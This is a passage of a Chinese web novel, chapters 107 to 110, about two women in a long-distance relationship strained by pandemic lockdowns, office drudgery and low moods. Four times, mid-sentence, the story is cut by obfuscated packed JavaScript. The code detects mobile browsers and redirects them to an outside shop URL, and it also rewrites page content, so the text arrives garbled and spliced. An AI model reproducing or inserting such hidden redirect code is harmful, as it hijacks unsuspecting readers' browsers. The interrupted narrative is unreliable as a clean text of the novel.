l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370236|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呆的。 洛依却很喜欢,在手机里也存下许多。 路很滑,大多时候两人牵着手,十指紧扣,在雾气缭绕的世界里行走着,连心灵都好像在山间跳跃,变得自由。 下山的路上有滑道,弯弯曲曲直接滑道坐索道的地方,还是免费。洛依问过秦离,她自然是兴致勃勃。 工作人员分发了手套和护具,两人排队,洛依在秦离前面。 不用走路下山的感觉果然很爽。就是不知道是姿势不对还是滑道设计有问题,秦离总会在在直道上卡住,然后看见后面人下来了,异常尴尬地抓着两边护栏手动往下,最后到终点搞得大汗淋漓。 下来时洛依已经站在旁边等她了,见她表情不对,问道:“怎么了?” 秦离摇摇头。 看着从终点站起来的瘦子们,秦离心想,淦,不会是体重问题吧,这就更尴尬了。这样的囧事她自然不会在洛依面前说。 再后面有女生是带着小狗一起滑下来的。她前面穿着小狗专用背包,固定住小狗的四肢。她的速度很快,小狗在胸前仰着,小腿乱晃,看上去很开心。 “哇,这也可以!”秦离瞬间忘记刚才的囧事,“那我们该把咪咪带来,让它也享受享受。” 洛依扶额:“咪咪的话,可能在我们想把它放进包里时就一爪子上来了。它天天在外面跑酷,玩得可比滑道刺激多了。” 猫猫狗狗,还真是很不一样呢。 接下来,两人基本就在陵城及周边玩着,有时候跟洛依的朋友吃个饭。 她们依旧会每天做/爱,但或许是洛依安全感足够满足了,不会像之前那样将全部时间都花在床上。 这样也很好。 秦离不是执着于□□关系的人,这样每天生活在一起,为琐碎的小事而欢笑打闹,会让她过得更安心。 曾经她以为自己是欲望很强,很喜欢□□的人,但现在才发现,比起上床,与喜欢的人心灵相通,普通的牵手、拥抱和亲吻让她更着迷。 心里也没有那么空荡荡的。 两人在一起聊了很多之后的事。洛依的胆子也大了点,会主动问秦离找工作和考试的进展。 之前花城的考试结果还没出来,过年期间秦离又完善了简历,打算年后接着投。 “哎,不缺钱就好了。要是有个一百万,我也不用纠结工作,可以放心大胆去读书了,花城大学的中文系也很是国内数一数二的。” 对于当年考上南城大学中文系却没去的事,秦离心中始终有个疙瘩。 洛依也感叹:“要是有钱还说啥呢,我也去读历史系了。” “到时候我俩一个学校,继续谈校园恋爱,哈哈~” 天下没有馅饼掉,两人也没有临死前赠予巨额遗产的海外亲戚,只能苦中作乐说些异想天开的玩笑话。 在一起的时间总是很快,马上洛依的年假要结束了,秦离也要离开,她们要先回庸城。 从陵城出发时已经是傍晚了。 107. Chapter 107 远方的晚霞烧红了大半个天空,像绸子般纯净。轿车行驶在高速公路上,车内放着舒缓的情歌。 两个人都很疲惫了。 高速上车很多,前方好像出了连环追尾事故,后面堵了一长串,不知道要堵到什么时候。 等到庸城时快十点了。车开过下高速后的彩虹桥,洛依在副驾上已经睡着了。 还有一点路,秦离将车停在桥上,摇下一半车窗,在冷冽的寒风里找回点清醒感。 河边有点点灯光忽明忽暗,忧伤的女声从音响里传出。 “车停了好几次烟抽了好几根, 天都快亮了我们还没到呢, 你睡得安稳吗我必须清醒着, 这道路有点黑你睡吧我负责。”① 秦离摩挲了下手指,望着远方发呆。这几天和洛依一起从早呆到晚的生活好像梦一般,现在梦要醒了。 身处陌生的地方,看见的都是陌生的建筑和陌生人,心中异样感愈发强烈,空落落的没有归属。 洛依在睡梦中小声哼哼着。不知道过去了多久,她揉着眼睛缓慢清醒:“……到了吗?” 秦离回神,重新点火:“马上到了。” 收拾完行李,深夜了,两个人躺在床上,都没有睡意。 今晚不适合做些什么,秦离抱着洛依,两人依偎得很紧,说话说到很晚。 秦离的吻反复落在洛依的额头、眼睛、脸颊和嘴唇上,柔软的触感让她迷恋不已。洛依乖巧应着,把她的手抓得更紧了。 第二天,秦离喉咙有点痛,头昏脑涨。庸城的冷空气还是打败了她。吃早饭时,面对依旧热情的洛妈洛爸,她头上那根筋一直在跳,吃不下一口,只能强颜欢笑。 吃完饭,洛妈洛爸坚持要一起送秦离去陵城机场。出发前,洛妈去早上的集市买了很多新鲜出炉的板鸭,还有鸭舌、鸭脚、鸭架骨各类,闻着就很香,全部让秦离带走。 盛情难却。 秦离的年假还剩一些,昨天妈爸打电话说一家人已经很久没出去玩了,趁着最近爸爸单位管控不严,想着一家人去海边休闲度假。于是秦离改签了机票,从陵城直接飞去目的地。 是时候多陪陪妈爸了。 去陵城的高速上车依旧很多,行驶缓慢。 秦离晕车晕得厉害,一直靠在洛依肩膀上,表情难受。洛依担心她,抓着她的手臂,没心情说话。 时间有些紧张,洛爸也急着赶路,车内长时间沉默着。只有副驾的洛妈陪着洛爸,偶尔小声说两句。 到陵城机场时已经很急了,还有四十分钟就要起飞。秦离匆忙向洛妈洛爸道谢,眼神和洛依缠绵了一瞬,最后只能笑着说了声再见,转身朝大厅跑去。 秦离忍着反胃感在机场里狂奔,一阵兵荒马乱后,最后总算赶上飞机。她坐在座位上,抱着塑料袋狂呕,呕到胃里抽搐,胆水都吐出来了。 在空姐关切的眼神里,她摆摆手,示意自己没事。 洛依发消息过来:【姐姐,你还好吗,顺利登机了么?】 秦离蜷缩着回她:【刚刚坐上飞机,好多啦,之前就是有点晕车,现在已经没事了。】 想到早上只吃了一口的米粉还有自己在车上的一语不发,她担心给洛妈洛爸留下不好印象,忙道:【哎,我今天早上表现太差了,你记得给阿姨叔叔说下,我是因为身体不舒服才没怎么吃东西和说话的。】 【没事的啦。】 秦离还是不放心:【不用专门讲,合适的时候顺口说一说吧。】 洛依答应了。 海边最近是淡季,人不多。妈爸只定了目的地和第一晚的酒店,等秦离过来。 晚上喝了点粥后,秦离感觉好些了,躺在阳台的躺椅上开始安排接下来几天的行程,买票订房间,搜索有什么好吃的。 难得一起出来玩,妈爸很开心。秦离带她们去了一些年轻人或许觉得无聊,但是老一辈很向往的经典景点。她拍了很多一家人的独照和合照,跟她们说了很多话,尽量不看手机,也不太顾得上看消息。 洛依已经回花城了,又进入忙碌烦躁的工作状态,与秦离好像处在割裂的两个世界。 最后几天,秦离订了家有私人海滩的酒店,一家人不再往哪里跑。 傍晚,秦离坐在沙滩上,看着夕阳的余晖印在波光粼粼的海面上。妈妈躺在沙滩椅上玩手机,爸爸挖了个坑把自己埋起来,只露出头和脚。 回单位后,洛依的工作量变多了,这会还在加班。 秦离看着夕阳渐渐沉入海底,手指在沙上画了个“I[爱心]洛依”,下面又写了个“あいしてる”②,拍照给洛依发过去。 洛依回得很快,先是个奶茶鼠害羞的表情图,然后开始吐槽最近安排的新工作有多么恶心,交接的同事有多么傻叉。 秦离安慰着她,想到自己单位的工作,好像也远得像上个世纪的事。电脑密码是什么来着?好像都不记得了。 洛依吐槽完就开始哭哭求安慰,让秦离给她发了很多这几天的照片。 秦离这几天在海边穿的大多是吊带低胸裙,戴着墨镜和大草帽,看着很成熟性感。 洛依很喜欢这种,喊着“姐姐,姐姐”让她多发多发。秦离为有吸引恋人的魅力而欢喜,发了很多。 等收假回南城,生活又回到紧张痛苦的状态。秦离每天忙忙碌碌,还要做那些花费大量时间但是毫无意义的事——越来越多的台账,开不完的学习会议,难用到爆的傻叉操作系统,领导关注就要改无数遍的材料。 所以这个词放在前面还是后面到底有什么区别!那个词换一个影响就那么大?跟自己没什么关系的稿子,为什么要拉着全科室一起,七嘴八舌推到晚上十一点! 更不用说反反复复被领导打回来的请示,问就是考虑得不全面,方案还有风险,你们科室再综合研究下,修改得更稳妥完善吧。 然后不了了之。 一天工作,忙活忙活白忙活。 秦离只想骂爹。 活没推进多少,心累得不行。她还得保持笑脸和状态稳定,总不能在单位发疯失控吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370237|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上一个说自己得了抑郁症的同事,已经被单位高度重视,重点谈心,还平白给全体人员增加了许多心理健康问题的讲座和警示教育学习,提防各部门出现问题。 被迫去参加一堆会议又写了许多科室防范材料,占用了正常上班时间,不得不加班做事后,整个单位怨气冲天,甚至有人对那个同事产生了嫌隙。 干嘛要在单位暴露自己有心理疾病,平白增加工作量,烦死了! 理性上,秦离知道这是这个单位、这个机制、这个社会的错,让所有人都异化了,但感性上还是很难不对作为导火索的同事产生一点点埋怨的情绪。 产生情绪的瞬间,她又觉得很悲哀,为大家都在工作环境里被温水煮成丑陋模样的悲哀。 秦离知道,现在这个大环境下,疫情已经让很多企业倒闭,很多人失去了工作,生活艰难。这么想想,她现在有个稳定的工作,不用为kpi和降薪裁员发愁,身上也没有房贷,已经打败很多人了。 但是真的好难受,人想要凭着本性活着,只做想做的事就这么难吗…… 特别是当她发现,在跟生病突然离开的同事对接工作,她也不由自主地在短暂关心后马上询问那你手上这个活怎么处理谁来接手时,她真的很无奈悲哀。 但毫无办法。 秦离有时候苦中作乐想,唯一的盼头就是写文一本爆红,然后她就当场辞职,边全职写作边继续去读书。 想想就是多么美好的生活啊。 可惜现在写文总收入才三百块钱,哈哈,还不够她定制封面之类的支出呢,真的是付费写文了。 写自己想写的东西,要想赚点钱,太难了。但她又固执地不想改变。 秦离也和洛依聊过工作这个话题,洛依却跟她观点不同,觉得既然选择了这份工作,这些事情肯定都是不可避免的。至于生病的同事,不管怎么样,他应该把他走之后的工作交接安排好,这是他的职责。 秦离有些意外和感慨。 洛依虽然嘴上吐槽着工作日常的人和事恶心,但对这个工作的信念感和现实感却比她强很多。 在庸城分别后两个月,秦离又去了两次花城,当然是瞒着单位的——年后休假的人多,单位暂时没管行程码的事。 和洛依的见面相处又变回了白天疯狂做/爱,因为洛依晚上必须得回单位。 “这个破单位,非要什么家不在本地的单身人员晚上必须回单位宿舍,还要点名,说什么为大家的安全着想,垃圾!” “没事,这个时候别出头比较好,我们白天还可以见面呢。” 秦离安慰她,毕竟不可能怂恿她晚上偷跑出来,但心里也不是滋味。 而这样的日子也并不长久,很快全国都在爆发新的病例,所有单位都在加强管控。秦离单位领导尤其谨慎,要求南城有病例的时候,大家都要住在单位暂时不能外出,回来的人也要先进行十四天隔离。 所有人心中都有埋怨,但也没办法。 秦离跟洛依说了整件事:“我短时间可能没法过来了。” 108. Chapter 108 “啊……”听秦离解释后,洛依强打精神也难掩失落,“那也没办法,而且现在疫情这么严重,不到处跑也好,安全最重要啊。” 秦离听见她落寞的声音,心都揪起来了,急道:“等疫情好一些了,只要有机会我马上过来!” “……好哦。” 接下来就是漫长的分离期,而且不知道终点在哪里。 两人开始整晚整晚的打电话,事无巨细地说着一整天发生的事,遇见的人,弥补不在对方身边的遗憾。就算是加班做事的时候,秦离也会偷偷挂着耳机,即使一句话不说,也好像有对方的陪伴而觉得安心些。 有时候,她们睡觉也会通着电话,仿佛对方就睡在自己身旁,直到手机电量耗尽自动关机。 秦离知道,洛依是个很渴望陪伴的人。她自己尚且能忍受这种分别的孤独,用工作、备考和学习来麻痹自己,但洛依却不止一次提过,她真的很希望每天都能和爱的人见面,无论多累多苦,有多大的矛盾,只要一个拥抱就能缓和一切。 能面对面触碰的人,一次拥抱和亲吻,抵过隔着千山万水的无数条消息和透过听筒的无数句言之于口的爱语。 但秦离没有办法。 谁都没有办法。 秦离没有办法,只能尽可能多地关心她,给她在网上买了许多吃的喝的用的。洛依身体哪里不舒服,她就要担心好久,在网上搜索各种解决办法,再小心翼翼发给她。 她没法照顾她,只能如此。 可怕的不是分别,也是不知何时才能再见的分别。 洛依的情绪在最初分别的两个月里很不稳定。 她变得极度依赖秦离,越是看不到人,越想要知道她每时每刻的动向,会因为一点秦离无心的忽视而失落崩溃,会大段话地诉说自己的思念。 但说完做完之后,她又会产生自厌情绪,觉得这样是增加了秦离的负担,进而情绪更加低落,陷入恶性循环。 秦离很担心,意识到这是她的抑郁状态在加重。她每次都会告诉她,没有关系的,她喜欢洛依依赖她,向她索取,她们是恋人,互相支撑是应该的。但这样的话无法制止洛依的内耗。 拥抱或许可以,但她们无法相见。无法相见,连她反复说的“我一直在你身边,我会一直陪着你”都变成了空谈。 洛依总是说:“你现在这样包容我,等到受不了的那天,就会变了。如果是这样,我宁愿一开始就没有那么高的期待。” 她过去也曾这样说过,因此许多事情,她总是自己默默消化,对于将情感和希望寄托在她人身上这点总是没有安全感。 过去,秦离花了许多时间和精力,让她逐渐敞开心扉,但现在一切又反弹回去了。 其实洛依这种状态也不止是异地恋造成的。 就在四月的时候,她的编制正式调到了花城,也确实落在了技术岗位上。但一开始预想的有差别,她并没有继续自己的技术公司,而是被借调到政工部门去做事。 部门有两个同事干活效率低,又不上心,简单的一个报告、一次会议组织都干得乱七八糟的,连累大家一起兜底,权责分工也不明晰,经常互相甩锅,工作环境不太好。 洛依本身是个很有责任心的人,虽然天天吐槽工作,但是交代给她的事还是会做好。这样的情况她自然是受不了,大量心力耗在了无用的事情上,加剧了她心理和生理上的负担。 还有家里人的因素。 洛妈洛爸确实是很爱洛依,但或许因为她们是苦日子熬过来的人,也毕竟没有跟洛依同出一个系统,无法理解洛依在工作中那些琐碎鸡毛的人和事带来的痛苦。 她们总说:“刚出来工作都是这样的,现在到处都要加班,熬过去就好了。”“有人的地方都有乱七八糟的人际关系,你们单位还算是比较单纯的,没办法,社会就是这样,只能适应了。”“这些麻烦都算是小的了。” 或许上一辈人都是如此吧,无法理解现在年轻人被压抑着,无法喘过气的精神痛苦。毕竟在她们的年代,能吃饱穿暖已是不易。 于是,洛依到后来也不跟她们说工作上的事了,只能和秦离说,和同系统的朋友说。 世界上的事,人和人之间总是无法完全感同身受的,即使是最亲近的关系。 还有大环境的原因吧。 疫情比去年严重许多,部分地区甚至病例大爆发,感染人数增长速度越来越快,即使知道国家已经在尽力控制了,但没人知道这场灾难到底什么时候能结束。 而落在个人身上,我又要怎么活下去。 秦离不用担心活下去的问题,不过动不动就被关在院子里,每天被手机上大量的疫情相关资讯淹没,即使再乐观的人心上也蒙上一层阴霾。 不仅如此。因为行程被限制,秦离报名的有些考试没法去,连投简历都要看对方公司是否接受线上面试。考虑因素多了,行动就愈发困难,有时候她难免产生要不这次就算了吧,要做成也太难了的心理。 还好,总的来说她的状态还算不错,如果说跟身边人还有社会上的许多人相比的话。 毕竟,大家的精神状态都不是很美丽呢。 秦离和洛依也有过两次小的冷战和争吵。 一次是秦离发现洛依之前送给她的口红不知道什么时候掉了。 或许是家里,或许是单位,或许是她在路上某个地方停下来拉背包拉链的时候。即使她绞尽脑汁复盘并寻找了一整天,还是没能找到,不得不接受她真的弄丢了洛依送的礼物的事实。 那口红才用了不到五分之一,秦离很喜欢,去哪里都背着。 秦离坐立不安,在晚上和洛依打电话的时候失魂落魄,不知怎的将这件事说出来了。 说出去的瞬间她就后悔了。 掉了已经很懊恼了,怎么还讲出来让洛依知道了呢。还不如她回头买个一模一样的接着用。 “啊……”洛依顿了下,没有表露出太多情绪,“没事,掉了就掉了吧。” 秦离有些慌:“我确实不知道是什么时候掉的,白天把去过的地方全部都找了遍,还是没找到。我明天再去找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370238|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找……” 洛依打断她:“没事,别折腾了,只是一只口红而已。” “……”但那是你送我的口红。 秦离欲言又止,随后还是什么都没说。 那天的电话结束得很快。洛依确实没多说什么,第二天的消息也是一贯发着,只是少了些,说是忙着开会。 秦离有些手足无措,又不知该怎么解决,只能加倍关心洛依。 这事没有解决,只是等洛依忙过这几天后,就又恢复正常了。 秦离不好再问,怕再惹她生气难过,这事就不了了之了。 后来还发生了件事。 秦离本来就是个睡眠很好的人,可以随时随地秒睡。这本来是件幸福的事,但在晚上跟洛依的聊天中却成为了烦恼。 之前她晚上犯困的时候都是坐着或站起来,硬撑着,等到洛依说晚安了才睡。但最近或许是白天太疲累,精神不支,坐着也睡着了。 早上醒来看见洛依的消息她就觉得不太好。 洛依发了好几条消息,前面还是兴致勃勃说当时她们正在聊的音乐剧话题,发现秦离一直没回消息后,问她:【人呢?[奶茶鼠探头.gif]】【怎么突然不见了呀】【……是不是睡着了?】【好吧……】【那我也睡了,晚安。】 秦离忙跟洛依道歉,说确实是太累了不小心坐着睡着了。 洛依没有责怪她,只说:【你要是累了就直接跟我说休息吧,没关系。我只是不喜欢聊着聊着,你人就突然消失了……】 秦离应着:【好!】 但真到晚上的时候,她总是不舍得在洛依还给她发消息的时候说结束,总想着等聊过这个话题吧,聊完这个话题再说晚安。 然后到最后总有几次又不小心睡着了。 第二天醒来又是一轮争执和道歉。 次数多了,洛依在这件事上变得很暴躁:“你为什么总是这样!我跟你说过了,如果是做不到的事情,你一开始就不要答应我,不要给我期待之后又让我失望。” 秦离道歉:“对不起……只是你还没睡的时候,我总是不舍得喊结束。我本来是想陪你到最后的……” “我说了没关系的,你可以先睡,而不是突然消失……我真的,真的很不喜欢这样,不想你什么都不说就突然不见了……” 她的声音带着哭腔,秦离安慰着她,说了很多哄人的话。 洛依很难改变这种害怕的心理,就像秦离也很难改变掉她想陪着洛依到最后的心情。 最后,双方都沉默着做出了妥协。 秦离会提早跟洛依说晚安,但晚安之后若是没睡着,也只有默默玩手机,或是跟其她朋友发消息。她不敢给洛依发,怕发完又出现之前那种情况。 但有时候,秦离依旧会聊得舍不得,然后在本以为亢奋的时候突然困意来袭,一秒睡着,这时候,洛依也只是沉默着,问句睡了吗?,然后说着晚安,便没有任何了。 恋爱大概就是如此,时间长了,便不如一开始那样单纯甜蜜,会冒出各种各样的问题。 109. Chapter 109 秦离的好状态——或者说她以为的好状态并没有维持太久。很快,她发现,虽然日常生活中她依旧可以保持微笑,她在别人眼里依旧活泼开朗,她依旧能给亲密的人提供情绪价值,但她累了。 做任何事的行动力都开始变得艰难,日复一日的生活好像没什么盼头,原本除了上班,她每天还要看书写文练琴,有时候还会阶段性学些语言啊画画啊摄影之类的,但她现在什么都不想做了。 虽然不至于像重度抑郁症患者那样冒出自杀的念头,但她确实觉得人生什么都挺没意思的。 活着也挺没意思的。 秦离曾经和杨颖,徐平平,裴子霜她们讨论过人生意义和怎么活这个话题。 裴子霜大概是能过一天是一天派,她过去的生活里有太多创伤导致她对未来没有太多期待,也不去思考人生的意义。目前有什么能给她带来快乐——网络游戏,喜欢的明星,磕竞体cp,看小说——她就做什么。她也习惯了将那些创伤和生活中的磨难隐藏起来,即使是面对星期六党几个亲密的挚友。 杨颖是个纯粹的现实主义派,没有所谓虚无缥缈的理想,也对恋爱结婚两性关系什么的都不感兴趣。她选择了小学老师这份职业,因为在稳定且收入还不错的情况下每年都还有寒暑假。她住在自己的房子里,没有房贷,每天吃吃喝喝玩玩,没有什么忧愁,也不很关心社会上有什么不平事。“这个世界就是这样糟糕,黑暗的地方很多,我们只能接受它们就是存在。”因此,她大概是星期六党四个人里活得最清醒也最知足快乐的。 许平平跟杨颖相反,是个极致的理想主义派。在过去二十多年里,她都生活在较为单纯的校园环境里,所有人都告诉她这个世界上是真善美的,她也相信了,一心一意寻找自己的美好理想,并且认为虽然世界上会有黑暗,但大部分人都会有基本的道德底线,一切事情都是有是非曲直评判的。这就导致她毕业步入社会后,三观遭受了近乎毁灭式的打击,并且因为工作的无意义和各种毁三观的人和事而反复怀疑和内耗自己,总是思考有人为什么会这样做呢?其她三个人都觉得她更适合呆在国外,可惜很恋家,受家人影响很深的她,当初还是选择了回国。 秦离大概就是介于杨颖和许平平之间。 其实骨子里她也是个理想主义派,许平平心里坚持的她全部赞同,并且也知道她说的都是对的。但这么些年的社会磨砺和现实压力让她已经妥协了许多,她已经一改再改,变得圆滑社会,能够游刃有余地适应各种主流社会认可的环境。与她接触的人,没有人不觉得她是个乐观积极又八面玲珑的人,相处起来很舒服。但秦离回头看自己的人生,有时候又觉得悲哀。 她其实并不想变成这样,不断地改变自己。她很擅长在譬如体制内这种环境里沟通协调经营人脉,但她真的很讨厌这样。 她觉得自己始终没有按照本性去追逐真正想要的东西。她是个不敢冒风险的胆小鬼,不敢去大胆尝试。 因此她这样的理想主义派,落到现实里又变成了杨颖那样的务实派。但只有状态好的时候,她才能激励自己去追逐去努力,安慰自己这是曲线救国,总有一天能做想做的事的。 但状态差的时候,所有蛰伏在骨子里的悲观自厌就全部冒出来了。 她会反复想着,自己真失败啊,二十六年来一事无成,答应了的事情永远做不到,做好的计划也在一天天拖延。她就要一直到三十岁,四十岁吗? 这时候,她本来积极努力为之奋斗的一切都变得没意思。反正人只是时间长河里的一粒灰尘,或者连灰尘都算不上,人生ABCDE支线又有什么区别呢? 没意思,什么都没意思。 这样的状态出现其实是常态,大概人的想法和生活就是如此起起落落,只是每一次落都是如此难熬。 这次尤其。 其实秦离很清楚,甚至可以客观分析她这些悲观丧气的想法为什么出现,也知道这些都只是一时的,但这对于她从这种状态里走出来毫无帮助。 如果一定要说的话。大概就是整个社会都弥漫着的那股不安感吧。大家不知道疫情什么时候过去,社会什么时候恢复正常秩序,什么时候才能不每两三天就戴着口罩排着长长的队伍做核酸。 因为疫情,秦离已经不知道多少次被关在院子里了。 她单位的宿舍在办公楼东边,食堂在办公楼西边。关在院子里的那些日子,所有人每天早上起床就从东边的宿舍到中间的办公楼,中午下班从中间的办公楼到西边的食堂,吃完饭再绕着围墙走一大圈,走回东边的宿舍。 每天都是如此。 食堂的菜色也逐渐变得单一。因为担心疫情传入,外界供给食物的频次在降低,食堂购入了更多能长期存放的食物,比如冬瓜和土豆。 于是最困难的时候,大家经常是今天土豆,明天冬瓜,后天再土豆,大后天再冬瓜。 让人看不到希望。 所有人脸上的表情都是差不多的麻木,只有在情况稍微好转的间隙,或者因为家里特殊原因请假,才有人能离开。 离开的人脸上有完全无法压抑的笑容,与呆在院子里的人判若两类。 最严重的时候,单位院子里进行了彻底封闭和分割,开始实行AB班,各班的人交替,一半的人吃住睡都在办公楼,继续上班,一半的人吃住睡都在宿舍,等一段时间后接替另一半人。 呆在院子里,不知道这种状态什么时候才能结束,也不知道还会有什么新的规定产生。 有些人为了遵守防疫规定,但又不得不做工作,不得不半夜偷偷跑到办公室去上级传报文件。 没办法,事情总是要做的。 知道的时候,秦离感慨,这个世界真的要疯了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370239|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 在这种状态下,她再无法安心备考,也没有投出任何简历。 不仅如此,她本在连载,本来数据还不错的小说已经许久未写了,接续断更到连催更读者都已经走光的程度。而越久不写,就越难复健,同时还要忍受内心的自厌反思。 之前报的日语和吉他课自然也都中断了没法再去。她连看番打游戏都提不起劲,在知道还是有人利用疫情封控的机会在家提升自我——比如练书法,对比起来也会更加责怪自己的不上进。 为什么别人可以,而自己不可以呢。 对秦离而言,唯一可以不动脑子享受的纯粹快乐大概只有两件事。 一件是看电竞比赛和选手直播。看电竞比赛过程中,她将所有喜怒哀乐都寄托在主队的输赢身上,强烈的情绪波动让她真切地感觉到自己还活着。在竞的世界里,她也可以肆无忌惮地愤怒然和开骂,不需要有什么道德包袱,因为已经接受了低俗的状态,站在了道德最低点。 我都已经追竞了,就让让我吧(括弧笑)。 还有一件就是看猫和老鼠了。在没有比赛的日子里,秦离躺在床上从第一集开始放猫和老鼠。 即使是已经看了无数多,对剧情已经烂熟于心了,她还是能够随着汤姆和杰瑞的互动而大笑,特别是汤姆倒霉的时候,大概因为人类的本质就是幸灾乐祸吧。 她能发自信心快乐地笑出来,同时忘记现实中的一切。 在这种状态下,秦离能维系每天早上按时起床上班的正常生活都已经很难得。 她常在凌晨三四点才睡觉,早上七点半就要起来上班,睡眠时间长期不足,但却不想睡。 上一次吃早饭是什么时候,一个月,还是两个月前? 洛依那边的日子也同样不好受。两个人的聊天到后面往往就变成了双方一起吐黑泥。秦离已经没有精力再去应对和承受洛依的低落情绪了,毕竟她现在自己也已陷入泥潭。 洛依大概也知道这一点,有时候甚至会在秦离状态更糟糕的时候反过来安慰她。在秦离面前,她逐渐开始隐藏自己的情绪和痛苦,因为知道说出来无济于事。 她叫姐姐的时候也越来越少了。 秦离也清楚感知到这种变化。但却无能为力。 她也曾开玩笑式旁敲侧击问洛依:“最近怎么都不问我备考和投简历的情况怎么样了?” 洛依有些回避,后来避无可避了才道:“你有你的安排,我也不好多问,而且现在确实不算一个好时机。” 秦离难免觉得丧气,自己花了这么长时间和精力去准备这一切,就是想着能够结束异地恋,结果对方却漠不关心,搞得像自己一个人自作多情的独角戏。 但她知道这些话说多了,一定会吵起来。她不想闹到那个地步。 毕竟,她们本已不像之前那样频繁地打电话了。 110. Chapter 110 即使已经过去好几年了,秦离依旧很熟悉这种感觉,是冷淡期到了。 即使过去的记忆已经模糊了许多,那种不上不下的痛苦依旧烙印在心底。虽然对方或许也有错,但曾经也是她太幼稚了,不懂得经营,才走到了最后的局面。 往事不可追,但至少在这段恋爱里,秦离不想再走向同样的结局。 工作再烦躁,心里再疲惫,秦离还是打起精神主动增加给洛依发消息的频率:【今天感觉怎么呀?】【这个你看看,好好笑。】【我跟你说,这件事真的是无语死了。】 只要她想,她依旧可以有很多能发给洛依的消息。 除了上班时间确实忙,洛依基本回消息都很快。即使是打游戏期间,她也会提前跟秦离说:【今晚也要打会游戏,可能短时间内不会看消息。】 【好哦。】秦离应着,但心里有些怅然若失。毕竟曾经就算是打游戏,洛依期间也会抽空暂停不断和她聊天。 更觉得无奈的是,在听洛依这么说后,她自己也松了口气,可以放心大胆去看比赛看小说了,不用心里老挂念着事。 理智上,秦离明白,热恋时期黏在一起的状态的短暂的,现在这样才是细水长流的常态,两个人都需要自己的独立空间。 但她还是很怀念那个很黏人的洛依。 那种甜蜜的负担。 两人大概保持着四五天一次的打电话频率,其实也算不上低,但基本就是几十分钟,最多一个小时出头。也算不上短,但比起过去动不动就三四个小时的通话来说,少了很多。 两人加班的时候都不少,也不知道疫情期间除了防疫,哪里还来的那么多工作。其实秦离加班还要厉害些,甚至被阶段性借调到了隔壁科室,干了双倍的话。 有时候,她下班时已经九点多了,迫不及待和洛依打通电话,大概聊了三四十分钟,洛依便说想睡了。 精神状态不好让她的身体状态加倍不好。她现在熬不了一点夜,总是在十点出头就要开始酝酿睡意,即使如此,也总是在半夜惊醒,然后翻来覆去地睡不着,第二天起床愈发疲惫。 与她不同,即使有许多烦恼,秦离的睡眠依旧不错,只要她想睡。但是她不愿意睡,总是在跟洛依互道晚安后,开始大量看选手直播,看小说,到凌晨四五点才不得不在身体强制作用下睡着。 轮班在宿舍隔离的那十四天,每天都有人将饭菜送到门口。她十四天没接触一个人,天天看直播看视频看小说,有时候跟洛依吐槽说现在每天听到的韩语日语比中文还多。 她每天和在国外的朋友时差无缝衔接,深刻体会了血液里流淌着冰美式的韩国人过的是什么日子。 朋友们都很关心她,主要是怕她这样过下去真的猝死了。 不过大家的精神状态也都不是很美好就是了,就是凑在一起发疯罢了。 知道洛依晚上老是失眠时,秦离就主动提起过,如果她睡不着,可以给自己发消息。大多时间,她应该都是醒着的。 洛依应着好,但是一次也没有发过。但秦离知道她并非是没有失眠,只是不想大半夜来打扰她。 她其实不怕打扰,更怕洛依不再依赖她。 这样的日子持续了好几个月,从春天到夏天,再到秋天,都快把人逼疯了。 秋天的时候有个同事辞职了,即使没有找到下家。秦离听她讲述了这半年多封闭的痛苦,特别是说到,她初春的时候买了条漂亮的连衣长裙,本来打算天气暖和点就穿出去踏青郊游,结果都到秋天,已经冷得开始穿外套了,依旧没有找到机会出去。 就是那一刻,她坚定了自己一定要辞职。 一瞬间,秦离也觉得悲哀。但她没有同事那么果断,在没肯定找到下家前,不敢轻易辞职。 但是在这种大环境下,在她这种心态下,她真的能找到下家么…… 秦离眼睁睁看着两人的打电话频率越来越低,洛依说想她的时候也越来越少。 洛依有了更多自己要做的事,秦离也知道她是真的忙碌。她的工作要消耗很多很多心力,等下班时已经精疲力竭。在稍微有点力气的时候,她还是会逼迫自己去跑步锻炼些,对比之下完全没有运动的秦离只觉得更加惭愧。 休息时间,她便只有打游戏,看喜欢的明星资讯,以及看○冢的音乐剧。跟秦离疯狂追比赛和直播是一样的,都是为了在痛苦的现实中能够喘息,找寻一片安慰自己的地方。 